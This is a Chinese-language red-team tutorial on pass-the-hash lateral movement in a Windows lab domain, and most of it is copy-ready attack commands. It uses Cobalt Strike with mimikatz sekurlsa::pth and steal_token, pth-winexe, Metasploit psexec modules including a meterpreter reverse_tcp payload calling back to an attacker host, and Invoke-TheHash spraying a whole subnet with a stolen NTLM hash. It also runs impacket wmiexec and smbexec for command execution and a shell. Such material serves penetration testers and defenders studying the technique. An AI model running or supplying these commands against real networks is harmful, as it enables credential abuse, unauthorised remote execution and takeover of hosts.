0x01 简介
PTH全称“pass the hash”,即hash传递。PTH通过smb服务进行,走445端口。
0x02 通过PTH横向移动
一、通过cobaltstrike进行PTH
1、在已上线机器中直接dir访问目标系统C盘,提示没权限。
beacon> shell dir \192.168.3.123\c$
2、此处使用先前已获取的hash对目标administrator用户进行PTH。(大致为通过mimikatz和目标hash创建一个访问令牌,此处PID为392)
beacon> mimikatz sekurlsa::pth /user:administrator /domain:ggyao /ntlm:b4e535a9bb56bcc084602062c9e2a9d4 /run:"cmd -w hidden"
(若为工作组环境,则命令修改为/domain:.)
3、通过cobaltstrike内置的steal_token窃取刚刚创建的令牌,窃取成功后,可正常访问目标系统资源。
beacon> steal_token 392
beacon> shell dir \\192.168.3.123\c$
二、通过kali自带工具进行pth
1、相关工具如下。
2、获取拿到权限机器的hash。
3、使用pth-winexe获取一个cmd。
pth-winexe -U GGYAO/administrator%dc4112fd3aee4d001578da9b8ff96ce3:b4e535a9bb56bcc084602062c9e2a9d4 --system --ostype=1 //192.168.3.123 cmd
三、MSF中hash传递模块的利用
psexec_command模块(特征明显,少用)
1、使用psexec_command模块进行命令执行。
msf > use auxiliary/admin/smb/psexec_command
msf > set rhosts 192.168.3.123
msf > set smbdomain GGYAO
msf > set smbuser administrator
msf > set smbpass 目标hash
msf > set command whoami
msf > set verbose true
msf > run
此处是用2003的hash成功pth了2008的机器,反之失败:
psexec_psh模块(特征明显,少用)
msf > use exploit/windows/smb/psexec_psh
msf > set rhost 192.168.3.123
msf > set smbdomain ggyao
msf > set smbuser administrator
msf > set smbpass 目标hash
msf > set payload windows/x64/meterpreter/reverse_tcp_uuid
msf > set lhost 192.168.3.86
msf > set lport 4444
msf > exploit -j -z
此处是用2003的hash成功pth了2008的机器,反之失败:
四、通过powershell进行批量pth(wmi)
使用已知管理员hash,批量撞指定网段机器,此方式同时适用于工作组和域环境。需要同时加载Invoke-WMIExec.ps1、Invoke-TheHash.ps1。(https://github.com/Kevin-Robertson/Invoke-TheHash)
1、加载脚本。
本地加载(推荐使用)
powershell -exec bypass
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
2、利用已有管理员hash,批量撞指定网段机器。
域环境下:
PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Domain ggyao -Username administrator -Hash e1c61709dffcf154ac9d77b5024f6d10
工作组环境下:
(或者在网段后加选项 -Domain .)
PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Username administrator -Hash b4e535a9bb56bcc084602062c9e2a9d4
五、通过impacket进行hash传递
命令执行
1、wmiexec.exe -hashes :e1c61709dffcf154ac9d77b5024f6d10 ggyao/administrator@192.168.3.123 “ipconfig”
反弹shell
1、smbexec.exe -hashes :e1c61709dffcf154ac9d77b5024f6d10 ggyao/administrator@192.168.3.123